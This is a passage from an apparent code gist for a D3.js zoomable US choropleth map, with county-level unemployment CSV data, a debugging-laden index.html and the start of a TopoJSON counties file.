01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/036c2a6819ca5211d6b51efa7cd7f008">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.08&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
    //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  
  	//d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })
	d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;--&gt; About to draw map paths&quot;)
    var statePaths = svg.selectAll(&apos;path&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return &apos;red&apos;
          //return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;--&gt; Map paths rendered&quot;)
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(d3.select(&apos;#zoomy-map&apos;).html())

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&